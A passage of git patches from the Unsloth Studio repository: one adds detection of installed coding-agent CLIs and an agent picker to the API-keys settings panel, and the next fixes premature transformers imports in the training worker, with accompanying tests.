an auto-picked Codex, for a model that actually supports it.

Combined activeGgufVariant with activeNativePathToken (covers the
drag-drop/picked-file case) and ggufContextLength (only ever populated
when the backend last reported is_gguf: true for the active model, see
applyActiveModelStatusToStore) so all three paths a model can be GGUF
through are covered, matching the same is_gguf-or-equivalent check
hasGgufSource already applies to a staged pick elsewhere in this
codebase.

* Clear stale native-path token on a non-GGUF status refresh

When a native (drag-dropped or picked) GGUF was loaded and the backend later
switches to a transformers model outside the UI load path, refresh() adopts the
new /api/inference/status via setCheckpoint and applyActiveModelStatusToStore.
Those reset activeGgufVariant and ggufContextLength but never clear
activeNativePathToken, so the isGguf OR stays true after the switch and a
Codex-only detection auto-selects unsloth start codex for a non-GGUF model its
preflight rejects.

Drop activeNativePathToken in applyActiveModelStatusToStore whenever the status
is non-GGUF. A real GGUF load reports is_gguf: true, so its token is preserved
(the load path owns it); only a non-GGUF status clears it.

* Add the AGPL-3.0 header to the new studio contract test

* Fix/adjust agent detection for PR #6909

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
---
 studio/backend/routes/settings.py             |  14 ++
 studio/backend/tests/test_coding_agents.py    |  50 +++++
 studio/backend/utils/coding_agents.py         |  39 ++++
 .../lib/apply-inference-status-to-store.ts    |  25 ++-
 .../features/settings/api/coding-agents.ts    |  45 +++++
 .../settings/components/agent-command.ts      |   4 +-
 .../settings/components/usage-examples.tsx    | 175 +++++++++++++++++-
 studio/frontend/src/i18n/locales/en.ts        |   2 +
 .../test_chat_response_details_ui_contract.py |   3 +
 ...usage_examples_agent_detection_contract.py |  21 +++
 10 files changed, 361 insertions(+), 17 deletions(-)
 create mode 100644 studio/backend/tests/test_coding_agents.py
 create mode 100644 studio/backend/utils/coding_agents.py
 create mode 100644 studio/frontend/src/features/settings/api/coding-agents.ts
 create mode 100644 tests/studio/test_usage_examples_agent_detection_contract.py

diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 914699f540..bbee374334 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -32,6 +32,7 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
 from utils.openai_auto_switch_settings import (
     DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
     DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
@@ -174,6 +175,19 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+class CodingAgentsResponse(BaseModel):
+    # All agents `unsloth start` supports, in the CLI's declared order.
+    agents: tuple[str, ...] = CODING_AGENTS
+    # Subset of `agents` whose CLI binary was found on PATH; the frontend uses
+    # this to default the API-keys panel to a command the user can run as-is.
+    detected: list[str]
+
+
+@router.get("/coding-agents", response_model = CodingAgentsResponse)
+def get_coding_agents(current_subject: str = Depends(get_current_subject)) -> CodingAgentsResponse:
+    return CodingAgentsResponse(detected = detect_installed_coding_agents())
+
+
 @router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
 def get_openai_auto_switch(
     current_subject: str = Depends(get_current_subject),
diff --git a/studio/backend/tests/test_coding_agents.py b/studio/backend/tests/test_coding_agents.py
new file mode 100644
index 0000000000..b19da1dded
--- /dev/null
+++ b/studio/backend/tests/test_coding_agents.py
@@ -0,0 +1,50 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for coding-agent CLI detection used by the API-keys settings panel."""
+
+from unittest.mock import patch
+
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
+
+
+def test_matches_unsloth_start_subcommands():
+    # Each entry must be an actual `unsloth start <agent>` subcommand name
+    # (unsloth_cli/commands/start.py). Spelled out here rather than imported
+    # from that module, which pulls in the CLI's heavier dependencies.
+    assert CODING_AGENTS == ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def test_detects_only_agents_present_on_path():
+    installed = {"claude", "opencode"}
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: f"/usr/bin/{name}" if name in installed else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "opencode"]
+
+
+def test_returns_empty_list_when_nothing_is_installed():
+    with patch("utils.coding_agents.shutil.which", return_value = None):
+        assert detect_installed_coding_agents() == []
+
+
+def test_preserves_declared_order_regardless_of_path_lookup_order():
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: name if name in ("pi", "claude", "hermes") else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "hermes", "pi"]
+
+
+def test_treats_a_path_lookup_error_as_not_installed():
+    # An advisory check: shutil.which raising for one entry (e.g. a permission
+    # error walking a PATH directory) should not take down the whole endpoint,
+    # and should not stop the remaining agents from being checked.
+    def flaky_which(name: str):
+        if name == "codex":
+            raise OSError("permission denied")
+        return name if name == "claude" else None
+
+    with patch("utils.coding_agents.shutil.which", side_effect = flaky_which):
+        assert detect_installed_coding_agents() == ["claude"]
diff --git a/studio/backend/utils/coding_agents.py b/studio/backend/utils/coding_agents.py
new file mode 100644
index 0000000000..f7dd2f8357
--- /dev/null
+++ b/studio/backend/utils/coding_agents.py
@@ -0,0 +1,39 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Detect which `unsloth start <agent>` coding-agent CLIs are on PATH.
+
+The web UI only ever shows the user the "claude" flavor of the `unsloth start`
+command (see agent-command.ts), leaving anyone using Codex, OpenCode, and the
+other supported agents to manually edit the copied command. This module gives
+the frontend a way to ask which of those CLIs are actually installed so it can
+default to one the user can run immediately.
+"""
+
+import shutil
+
+# Keep in sync with the `unsloth start <agent>` subcommands defined in
+# unsloth_cli/commands/start.py. Each entry is the exact executable name that
+# subcommand launches, so a hit here means `unsloth start <agent>` can find the
+# binary on PATH without the user installing anything first.
+CODING_AGENTS: tuple[str, ...] = ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def _is_on_path(agent: str) -> bool:
+    # shutil.which is documented to return None on a miss, but PATH lookups can
+    # still raise (e.g. a permission error while probing a directory entry);
+    # this is an advisory check, so a lookup failure should read as "not
+    # installed" instead of breaking the settings endpoint.
+    try:
+        return shutil.which(agent) is not None
+    except OSError:
+        return False
+
+
+def detect_installed_coding_agents() -> list[str]:
+    """Return the subset of CODING_AGENTS whose CLI binary is on PATH.
+
+    Order follows CODING_AGENTS, not discovery order, so callers can treat the
+    first entry as the preferred default among the installed agents.
+    """
+    return [agent for agent in CODING_AGENTS if _is_on_path(agent)]
diff --git a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
index 9386650fee..60788c23bd 100644
--- a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
+++ b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
@@ -3,16 +3,19 @@
 
 import { getInferenceStatus } from "../api/chat-api";
 import { mergeBackendRecommendedInference } from "../presets/preset-policy";
+import { clampReasoningEffortToLevels } from "../provider-capabilities";
 import {
   CHAT_REASONING_ENABLED_KEY,
-  loadOptionalBool,
   type ReasoningEffort,
   type ReasoningStyle,
+  loadOptionalBool,
   resolveToolsEnabledOnLoad,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
-import { isMultimodalResponse, type InferenceStatusResponse } from "../types/api";
-import { clampReasoningEffortToLevels } from "../provider-capabilities";
+import {
+  type InferenceStatusResponse,
+  isMultimodalResponse,
+} from "../types/api";
 import type { ChatModelSummary } from "../types/runtime";
 
 type LocalReasoningEffort = Extract<ReasoningEffort, "low" | "medium" | "high">;
@@ -31,7 +34,10 @@ export function normalizeSpeculativeType(
     return "ngram";
   }
   if (s === "mtp+ngram") return "mtp+ngram";
-  const parts = s.split(",").map((p) => p.trim()).filter(Boolean);
+  const parts = s
+    .split(",")
+    .map((p) => p.trim())
+    .filter(Boolean);
   const hasMtp = parts.some((p) => p === "mtp" || p === "draft-mtp");
   const hasNgram = parts.some(
     (p) => p === "ngram" || p === "ngram-mod" || p === "ngram-simple",
@@ -197,6 +203,12 @@ export function applyActiveModelStatusToStore(
     ggufContextLength: currentGgufContextLength,
     ggufMaxContextLength,
     ggufNativeContextLength,
+    // A non-GGUF status must also drop a stale native-path token: without this the
+    // isGguf OR (activeGgufVariant || activeNativePathToken || ggufContextLength)
+    // stays true after switching from a native GGUF to a transformers model, so a
+    // Codex-only detection would auto-select for a model its preflight rejects. A real
+    // GGUF load reports is_gguf: true, so its token is preserved (the load path owns it).
+    ...(status.is_gguf ? {} : { activeNativePathToken: null }),
     modelRequiresTrustRemoteCode: status.requires_trust_remote_code ?? false,
     defaultChatTemplate: nextDefaultChatTemplate,
     loadedIsMultimodal: isMultimodalResponse(status),
@@ -245,7 +257,7 @@ export function applyActiveModelStatusToStore(
     const mid = checkpointId.toLowerCase();
     if (mid.includes("qwen3.5") || mid.includes("qwen3.6")) {
       const sizeMatch = mid.match(/(\d+\.?\d*)\s*b/);
-      if (sizeMatch && parseFloat(sizeMatch[1]) < 9) {
+      if (sizeMatch && Number.parseFloat(sizeMatch[1]) < 9) {
         reasoningDefault = false;
       }
     }
@@ -281,8 +293,7 @@ export async function tryAdoptServerActiveModel(): Promise<boolean> {
   }
 
   // Re-check after the await: keep a checkpoint the user picked meanwhile.
-  const previousCheckpoint =
-    useChatRuntimeStore.getState().params.checkpoint;
+  const previousCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
   if (previousCheckpoint) {
     return true;
   }
diff --git a/studio/frontend/src/features/settings/api/coding-agents.ts b/studio/frontend/src/features/settings/api/coding-agents.ts
new file mode 100644
index 0000000000..ae371b2d3a
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/coding-agents.ts
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type CodingAgentsInfo = {
+  // Every agent `unsloth start` supports, in the CLI's declared order.
+  agents: string[];
+  // Subset of `agents` whose CLI binary was found on PATH by the backend.
+  detected: string[];
+};
+
+type ApiCodingAgentsInfo = {
+  agents: string[];
+  detected: string[];
+};
+
+// Which CLIs are on PATH is environment state, not a persisted setting -- it
+// can change any time the user installs something new, so this only
+// de-duplicates concurrent in-flight calls (e.g. React strict-mode's double
+// mount) rather than caching the result across the module's lifetime. Every
+// fresh call (each time a settings panel mounts) re-checks PATH for real.
+let inFlightInfo: Promise<CodingAgentsInfo> | null = null;
+
+function fromApi(info: ApiCodingAgentsInfo): CodingAgentsInfo {
+  return { agents: info.agents, detected: info.detected };
+}
+
+async function fetchCodingAgents(): Promise<CodingAgentsInfo> {
+  const res = await authFetch("/api/settings/coding-agents");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load installed coding agents"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function loadCodingAgents(): Promise<CodingAgentsInfo> {
+  inFlightInfo ??= fetchCodingAgents().finally(() => {
+    inFlightInfo = null;
+  });
+  return inFlightInfo;
+}
diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts
index 9e87922970..38b2d73c3b 100644
--- a/studio/frontend/src/features/settings/components/agent-command.ts
+++ b/studio/frontend/src/features/settings/components/agent-command.ts
@@ -12,7 +12,7 @@ const DEFAULT_AGENT = "claude";
 
 // URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is
 // "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below.
-function normalizeHost(host: string): string {
+export function normalizeHost(host: string): string {
   const lower = host.toLowerCase();
   return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower;
 }
@@ -26,7 +26,7 @@ function isDefaultLocalHost(host: string): boolean {
 }
 
 // Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8.
-function isLoopbackHost(host: string): boolean {
+export function isLoopbackHost(host: string): boolean {
   if (host === "localhost" || host === "::1") return true;
   const octets = host.split(".");
   return (
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index c43dd0f219..b3396c8d9b 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -16,6 +16,7 @@ import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { useChatRuntimeStore } from "@/features/chat";
 import { useT } from "@/i18n";
 import type { TranslationKey } from "@/i18n";
+import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
@@ -25,14 +26,15 @@ import {
   InformationCircleIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useEffect, useMemo, useState } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
 import { Streamdown } from "streamdown";
+import { loadCodingAgents } from "../api/coding-agents";
 import {
   type OpenAIAutoSwitchSettings,
   loadOpenAIAutoSwitchSettings,
   updateOpenAIAutoSwitchSettings,
 } from "../api/openai-auto-switch";
-import { buildAgentCommand } from "./agent-command";
+import { buildAgentCommand, isLoopbackHost, normalizeHost } from "./agent-command";
 
 type ExampleType =
   | "curl"
@@ -114,6 +116,30 @@ const DOC_LINKS = [
   { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" },
 ];
 
+// Falls back to this list until the backend's installed-CLI check resolves;
+// kept in sync with the `unsloth start <agent>` subcommands and with
+// CODING_AGENTS in studio/backend/utils/coding_agents.py.
+const DEFAULT_AGENTS = [
+  "claude",
+  "codex",
+  "openclaw",
+  "opencode",
+  "hermes",
+  "pi",
+];
+// The agent selection resets to this whenever an auto-pick is no longer
+// trustworthy (leaving loopback, or the only compatible detected agent
+// stops being compatible) rather than lingering on a stale choice.
+const DEFAULT_AGENT = "claude";
+const AGENT_LABELS: Record<string, string> = {
+  claude: "Claude Code",
+  codex: "Codex",
+  openclaw: "OpenClaw",
+  opencode: "OpenCode",
+  hermes: "Hermes",
+  pi: "Pi",
+};
+
 const j = (s: string): string => JSON.stringify(s);
 const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
 const psSingle = (s: string): string => s.replace(/'/g, "''");
@@ -399,6 +425,17 @@ function useLoadedModelName(): string {
   }, [checkpoint, ggufVariant]);
 }
 
+// Backend PATH detection is only safe in the desktop app, where the UI owns
+// the local backend. A browser loopback URL may be an SSH/local port forward.
+function canUseLocalAgentDetection(base: string): boolean {
+  if (!isTauri) return false;
+  try {
+    return isLoopbackHost(normalizeHost(new URL(base).hostname));
+  } catch {
+    return false;
+  }
+}
+
 const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
   typeof unslothLightTheme,
   typeof unslothDarkTheme,
@@ -443,7 +480,18 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
   const [copiedAgent, setCopiedAgent] = useState(false);
+  const [agent, setAgent] = useState<string>(DEFAULT_AGENT);
+  const [availableAgents, setAvailableAgents] =
+    useState<string[]>(DEFAULT_AGENTS);
+  const [detectedAgents, setDetectedAgents] = useState<string[]>([]);
+  // True once the user has picked an agent themselves; guards the detection
+  // effect below from clobbering that choice if it resolves afterward.
+  const agentPickedByUserRef = useRef(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+  const origin = typeof window !== "undefined" ? window.location.origin : "";
+  const base =
+    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
+  const localAgentDetection = canUseLocalAgentDetection(base);
   // null while loading; the same setting the General tab exposes (shared cache).
   const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
     null,
@@ -454,6 +502,78 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     void fetchDeviceType({ force: true });
   }, []);
 
+  // Fetching is the only job of this effect: populate availableAgents/
+  // detectedAgents (or clear them). Which agent gets auto-picked from that
+  // list is derived separately below, so it can react to the loaded model
+  // changing too, not just a fresh fetch.
+  useEffect(() => {
+    // Browser loopback URLs can be SSH/local forwards, so only the desktop app
+    // may use backend PATH checks to mark or auto-pick local agents.
+    if (!localAgentDetection) {
+      setDetectedAgents([]);
+      // A previously auto-picked agent was only ever verified against the
+      // Studio backend's PATH, which is meaningless now that this panel no
+      // longer targets a loopback base -- don't leave it selected, but
+      // never touch a choice the user made by hand.
+      if (!agentPickedByUserRef.current) {
+        setAgent(DEFAULT_AGENT);
+      }
+      return;
+    }
+
+    let cancelled = false;
+    void loadCodingAgents()
+      .then((info) => {
+        if (cancelled) return;
+        setAvailableAgents(info.agents);
+        setDetectedAgents(info.detected);
+      })
+      .catch(() => {
+        // Best-effort: keep the default agent list and let the user pick manually.
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [localAgentDetection]);
+
+  // Single source of truth for the auto-picked agent, re-derived whenever
+  // the detected list or the loaded model's GGUF-ness changes -- in either
+  // direction. `codex` needs a GGUF model (unsloth_cli's
+  // _require_gguf_for_codex exits otherwise), so it's only preferred once
+  // the loaded model actually qualifies; loading a GGUF model *after* a
+  // non-GGUF-gated fallback picked something else re-steers back to codex
+  // just as loading a non-GGUF model steers away from it. Never overrides a
+  // choice the user made by hand.
+  // activeGgufVariant alone only covers an HF-repo GGUF pick (a specific
+  // quant variant string) -- a direct local .gguf file (custom folder /
+  // LM Studio / drag-drop) is just as much a GGUF the codex preflight would
+  // accept, but never has a "variant" to report, and would otherwise read as
+  // non-GGUF here. activeNativePathToken covers the drag-drop/picked-file
+  // case; ggufContextLength is only ever populated when the backend's
+  // /api/inference/status last reported is_gguf: true for the active model
+  // (see applyActiveModelStatusToStore), so together these three cover every
+  // path a model can be GGUF through, matching the same is_gguf-or-equivalent
+  // check hasGgufSource applies to a staged pick.
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const activeNativePathToken = useChatRuntimeStore((s) => s.activeNativePathToken);
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  useEffect(() => {
+    if (agentPickedByUserRef.current) return;
+    if (detectedAgents.length === 0) return;
+    const isGguf =
+      activeGgufVariant != null || activeNativePathToken != null || ggufContextLength != null;
+    const preferred = detectedAgents.find((a) => a !== "codex" || isGguf);
+    if (preferred) {
+      setAgent(preferred);
+    } else if (agent === "codex" && !isGguf) {
+      // codex was auto-picked while a GGUF model was active and it's the
+      // only detected agent; now that the model isn't GGUF anymore, nothing
+      // detected is actually runnable, so fall back to the default instead
+      // of leaving a codex command unsloth_cli will reject.
+      setAgent(DEFAULT_AGENT);
+    }
+  }, [agent, detectedAgents, activeGgufVariant, activeNativePathToken, ggufContextLength]);
+
   useEffect(() => {
     let cancelled = false;
     void loadOpenAIAutoSwitchSettings()
@@ -470,9 +590,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
 
   const model = useLoadedModelName();
   const key = apiKey || KEY_PLACEHOLDER;
-  const origin = typeof window !== "undefined" ? window.location.origin : "";
-  const base =
-    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
 
   const autoSwitchOn = autoSwitch?.enabled ?? false;
   const snippets = useMemo(
@@ -481,8 +598,8 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   // Agent command must target the server the panel shows, not the :8888 default.
   const agentCommand = useMemo(
-    () => buildAgentCommand(base, key, os),
-    [base, key, os],
+    () => buildAgentCommand(base, key, os, agent),
+    [base, key, os, agent],
   );
 
   const osAware = OS_AWARE[lang];
@@ -710,6 +827,42 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
           <span className="text-[11px] leading-snug text-muted-foreground">
             {t("settings.apiKeys.codingAgentsHint")}
           </span>
+          <div className="flex min-w-0 flex-wrap items-center gap-1">
+            {availableAgents.map((id) => {
+              const installed = detectedAgents.includes(id);
+              const active = agent === id;
+              return (
+                <button
+                  key={id}
+                  type="button"
+                  onClick={() => {
+                    agentPickedByUserRef.current = true;
+                    setAgent(id);
+                  }}
+                  aria-pressed={active}
+                  title={
+                    installed
+                      ? t("settings.apiKeys.codingAgentDetected")
+                      : undefined
+                  }
+                  className={cn(
+                    "flex items-center gap-1 rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                    active
+                      ? "hub-tab-toggle-pill text-foreground"
+                      : "text-muted-foreground hover:text-foreground",
+                  )}
+                >
+                  {AGENT_LABELS[id] ?? id}
+                  {installed ? (
+                    <span
+                      aria-hidden="true"
+                      className="size-1.5 rounded-full bg-emerald-500"
+                    />
+                  ) : null}
+                </button>
+              );
+            })}
+          </div>
           <div className="relative mt-0.5 min-w-0">
             <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-[11px] text-foreground">
               {agentCommand}
@@ -727,7 +880,13 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
             </button>
           </div>
           <span className="text-[11px] leading-snug text-muted-foreground">
-            {t("settings.apiKeys.codingAgentsSwap")}
+            {detectedAgents.length > 0
+              ? t("settings.apiKeys.codingAgentsDetectedHint", {
+                  agents: detectedAgents
+                    .map((id) => AGENT_LABELS[id] ?? id)
+                    .join(", "),
+                })
+              : t("settings.apiKeys.codingAgentsSwap")}
           </span>
         </div>
         <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index b67fd5ca1d..a9b5d839b3 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -445,6 +445,8 @@ export const en = {
       codingAgentsHint:
         "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.",
       codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.",
+      codingAgentDetected: "Installed on this machine",
+      codingAgentsDetectedHint: "Detected on this machine: {agents}.",
       relativeNever: "never",
       relativeJustNow: "just now",
       relativeHoursAgo: "{count}h ago",
diff --git a/tests/studio/test_chat_response_details_ui_contract.py b/tests/studio/test_chat_response_details_ui_contract.py
index 04301a0de6..89d3000629 100644
--- a/tests/studio/test_chat_response_details_ui_contract.py
+++ b/tests/studio/test_chat_response_details_ui_contract.py
@@ -1,3 +1,6 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
 """Static contract for the chat response-details action and metadata."""
 
 from __future__ import annotations
diff --git a/tests/studio/test_usage_examples_agent_detection_contract.py b/tests/studio/test_usage_examples_agent_detection_contract.py
new file mode 100644
index 0000000000..0dc16f0d30
--- /dev/null
+++ b/tests/studio/test_usage_examples_agent_detection_contract.py
@@ -0,0 +1,21 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contract for API usage-example agent detection scope."""
+
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+USAGE_EXAMPLES_TSX = REPO / "studio/frontend/src/features/settings/components/usage-examples.tsx"
+
+
+def test_agent_detection_requires_desktop_scope():
+    src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")
+    assert 'import { isTauri } from "@/lib/api-base"' in src
+    assert "function canUseLocalAgentDetection(base: string): boolean" in src
+    helper = src[src.find("function canUseLocalAgentDetection") : src.find("const SHIKI_THEMES")]
+    assert "if (!isTauri) return false" in helper
+    assert "isLoopbackHost(normalizeHost(new URL(base).hostname))" in helper
+    assert "const localAgentDetection = canUseLocalAgentDetection(base)" in src
+    assert "if (!localAgentDetection)" in src
+    assert "}, [localAgentDetection]);" in src

From 41dd95ea0a588343fc010ee24af4837cc8c08b98 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 05:33:16 -0700
Subject: [PATCH 261/306] Studio: don't pin transformers before the training
 worker activates the 5.x sidecar (#6968)

* Studio: keep transformers off sys.modules until the training worker activates the sidecar

The training worker (core/training/worker.py:run_training_process) decides the per-worker
Xet env flip during preflight by importing utils/hf_xet_fallback.py, which eagerly imported
unsloth_zoo at module load. unsloth_zoo's __init__ imports transformers, so the default
transformers 4.57.x was cached in sys.modules before activate_transformers_for_subprocess
prepended the 5.x sidecar to sys.path. Since activation only edits sys.path, the already
cached module won, and 5.x models failed to load their tokenizer or config:
  - Qwen3.5 / GLM-4.7 (tokenizer_class TokenizersBackend): "Tokenizer class TokenizersBackend
    does not exist or is not currently imported."
  - gemma-4: "... is not supported yet in transformers==4.57.6."

Fix: load the shared unsloth_zoo backend lazily (only when a heavy download helper is first
used, which is after activation). child_should_disable_xet and the DEFAULT_* constants are
defined locally so importing the shim stays light. The download wrappers, the DownloadStallError
class, start_watchdog and get_hf_download_state resolve the shared backend on first use, and the
degraded no-unsloth_zoo fallback is preserved.

Tests:
  - test_hf_xet_fallback.py: existing suite kept green via the restored _shared_* seam; the
    GPU-init retry test now triggers the lazy load explicitly; new guard asserts importing
    child_should_disable_xet does not import transformers/unsloth_zoo.
  - test_training_worker_import_discipline.py: new invariant test that the worker preflight
    imports leave transformers unimported, so this class of regression cannot return silently.
    Runs in studio-backend-ci (CPU only, no network/GPU/weights).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: CPU-only guard that activation switches transformers to the model's sidecar version

Adds test_worker_activates_correct_transformers.py: runs the real worker preflight
(from utils.hf_xet_fallback import child_should_disable_xet) plus the real tier
detection and activate_transformers_for_subprocess for a transformers-5.x model
(Qwen3.5, tier 530), then asserts the in-process transformers actually switched to
the 5.x sidecar. A stale pre-activation import leaves 4.57.x pinned and fails the
assertion, which is exactly the TokenizersBackend regression (#6951).

Self-contained CUDA spoof (mirrors tests/_zoo_aggressive_cuda_spoof.py) forces
unsloth_zoo down its full, transformers-importing init path on a GPU-less runner;
without it unsloth_zoo degrades and never preloads transformers, masking the bug.
A one-line stub sidecar stands in for the 5.x venv, so no GPU, network, weights, or
real sidecar are needed. Passes on this fix, fails on buggy main.

* Studio: load the repo's canonical CUDA spoof in the correct-version guard

Load tests/_zoo_aggressive_cuda_spoof.py (the committed spoof the consolidated CI
already relies on) as the single source of truth so the guard matches CI and stays
robust on a CPU-only torch wheel, where a partial hand-rolled spoof could miss a
torch.cuda call and let the unsloth_zoo import raise (masking the bug). Falls back to
a minimal inline spoof for a standalone studio checkout. Verified: passes on this fix,
fails on buggy main, and the fallback path passes when the spoof file is absent.

* Studio: declare the lazily-resolved xet names so ruff F822 stays green

DownloadStallError, start_watchdog and get_hf_download_state are provided via the
module __getattr__ (PEP 562), so ruff F822 flagged them as undefined names in __all__
and the Source-lint / pre-commit checks went red. Add annotation-only declarations
(no value bound, so __getattr__ still resolves them lazily to the shared unsloth_zoo
backend) to mark them defined for the linter while keeping F822 active for the rest
of __all__.

* Studio: tighten comments on the sidecar-activation fix and its tests

* Studio: mirror the new MLX-dispatch preflight import in the import-discipline guard

The worker preflight now also runs 'from core.training.training import
is_apple_silicon_training_platform, should_use_mlx_training_backend' before it
activates the transformers sidecar. Add that import (guarded) to the guard's
preflight snippet so the invariant test stays a faithful mirror: a future change
that makes core.training.training pull transformers/unsloth_zoo eagerly would then
be caught too. Verified clean on the current tree (no leak).

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/tests/test_hf_xet_fallback.py  |  42 ++-
 .../test_training_worker_import_discipline.py |  81 ++++
 ...t_worker_activates_correct_transformers.py | 155 ++++++++
 studio/backend/utils/hf_xet_fallback.py       | 353 +++++++++++-------
 4 files changed, 490 insertions(+), 141 deletions(-)
 create mode 100644 studio/backend/tests/test_training_worker_import_discipline.py
 create mode 100644 studio/backend/tests/test_worker_activates_correct_transformers.py

diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 4d73213d15..2fff744b64 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -287,7 +287,9 @@ def test_degrades_when_shared_helper_import_raises_importerror():
 
 def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
     """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim
-    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails."""
+    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails.
+    The backend loads lazily (first use of a heavy helper), so this triggers the load explicitly
+    before asserting the retry/degrade behavior."""
     import importlib
     import os
 
